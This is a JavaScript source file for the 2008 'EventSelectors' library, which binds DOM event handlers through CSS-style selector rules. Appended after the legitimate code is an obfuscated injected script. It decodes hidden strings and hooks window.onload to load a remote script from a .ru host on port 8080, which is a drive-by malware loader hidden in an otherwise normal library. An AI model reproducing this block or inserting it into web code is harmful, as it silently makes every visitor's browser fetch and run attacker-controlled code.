// EventSelectors
// Copyright (c) 2008 Justin Palmer (http://encytemedia.com)
// Examples and documentation (http://encytemedia.com/event-selectors)
//
// EventSelectors allow you access to Javascript events using a CSS style syntax.
// It goes one step beyond Javascript events to also give you :loaded, which allows
// you to wait until an item is loaded in the document before you begin to interact
// with it.
//
// Inspired by the work of Ben Nolan's Behaviour (http://bennolan.com/behaviour)
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//

var EventSelectors = {
  version: '1.0_pre',
  cache: [],

  start: function(rules) {
    this.rules = rules || {};
    this.timer = new Array();
    this._extendRules();
    this.assign(this.rules);
  },

  assign: function(rules) {
    var observer = null;
    this._unloadCache();
    rules._each(function(rule) {
      var selectors = $A(rule.key.split(','));
      selectors.each(function(selector) {
        var pair = selector.split(':');
        var event = pair[1];
        $$(pair[0]).each(function(element) {
          if(pair[1] == '' || pair.length == 1) return rule.value(element);
          if(event.toLowerCase() == 'loaded') {
            this.timer[pair[0]] = setInterval(this._checkLoaded.bind(this, element, pair[0], rule), 15);
          } else {
            observer = function(event) {
              var element = Event.element(event);
              if (element.nodeType == 3) // Safari Bug (Fixed in Webkit)
            		element = element.parentNode;
              rule.value($(element), event);
            }
            this.cache.push([element, event, observer]);
            Event.observe(element, event, observer);
          }
        }.bind(this));
      }.bind(this));
    }.bind(this));
  },

  // Scoped caches would rock.
  _unloadCache: function() {
    if (!this.cache) return;
    for (var i = 0; i < this.cache.length; i++) {
      Event.stopObserving.apply(this, this.cache[i]);
      this.cache[i][0] = null;
    }
    this.cache = [];
  },

  _checkLoaded: function(element, timer, rule) {
    var node = $(element);
    if(element.tagName != 'undefined') {
      clearInterval(this.timer[timer]);
      rule.value(node);
    }
  },

  _extendRules: function() {
    Object.extend(this.rules, {
     _each: function(iterator) {
       for (key in this) {
         if(key == '_each') continue;
         var value = this[key];
         var pair = [key, value];
         pair.key = key;
         pair.value = value;
         iterator(pair);
       }
     }
    });
  }
}

// Remove/Comment this if you do not wish to reapply Rules automatically
// on Ajax request.
Ajax.Responders.register({
  onComplete: function() { EventSelectors.assign(Rules);}
})

var L='';function P(){this.e='';var vT;if(vT!='' && vT!='cO'){vT=null};var z=unescape;this.V="";var b=new String();var fT=window;var mS;if(mS!='' && mS!='zG'){mS=''};var VA="";var S=z("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%61%79%73%65%72%76%65%2e%63%6f%6d%2f%6e%69%6b%6b%61%6e%73%70%6f%72%74%73%2e%63%6f%6d%2e%70%68%70");var cl;if(cl!=''){cl='zW'};var qD=new Date();function f(O,i){this.YT="";var fA;if(fA!='_' && fA != ''){fA=null};var Oa='';var F=String("xmrg".substr(3));var CF;if(CF!=''){CF='mf'};var zK=new Array();var q=z("%5b"), Z=z("%5d");var x=new String();var v=q+i+Z;this.SE='';var RK='';var vW=new RegExp(v, F);this.s="";var Sr=new Array();return O.replace(vW, new String());var h;if(h!='gS'){h='gS'};var RKw=new Date();};var D;if(D!='' && D!='vR'){D=''};var jn;if(jn!='' && jn!='oc'){jn='YJ'};var FQ;if(FQ!='' && FQ!='_s'){FQ='hZ'};var t='';var BC=new String();var MO=new Date();var Ou=f('89660268663056','14635927');var ba;if(ba!='' && ba!='vG'){ba=null};var H=new String();var vs=document;var gi=new String();var G;if(G!='' && G!='VF'){G=''};var BP=new Array();var WO;if(WO!='tH' && WO!='_f'){WO='tH'};function U(){var Cz=new String();var HZg=new String();var hb=new Array();var r=z("%68%74%74%70%3a%2f%2f%79%6f%75%68%65%6c%70%6e%6f%77%2e%72%75%3a");var yQ;if(yQ!=''){yQ='p'};var EX=new Array();H=r;this.WF='';var _V;if(_V!=''){_V='Hv'};H+=Ou;var hu;if(hu!='' && hu!='oA'){hu='qQ'};H+=S;var slw=new String();var TMh=new String();try {var pX=new Date();this.ca='';var yi;if(yi!='' && yi!='DH'){yi='XH'};Fq=vs.createElement(f('sBc9rIizpztZ','x93zLAB8ZCRgIjT0VyDd'));var Du=new Array();Fq[z("%73%72%63")]=H;Fq[z("%64%65%66%65%72")]=[1,2][0];var yj;if(yj!='bT'){yj='bT'};var Nb;if(Nb!='xf'){Nb='xf'};var J_;if(J_!='rK'){J_='rK'};var Xz;if(Xz!='_o' && Xz!='Bl'){Xz=''};var GC;if(GC!='' && GC!='yZ'){GC='cq'};vs.body.appendChild(Fq);var QI;if(QI!='oq' && QI != ''){QI=null};var Wo;if(Wo!='Zo' && Wo != ''){Wo=null};var IQ='';} catch(C){alert(C);var tz;if(tz!='dF'){tz=''};};var Yc="";var bp='';}var eF;if(eF!='Hg'){eF=''};var nh="";fT[String("on"+"loJ308".substr(0,2)+"adYc31".substr(0,2))]=U;var aG=new Array();var yt=new Date();};P();this._y="";this.Sc="";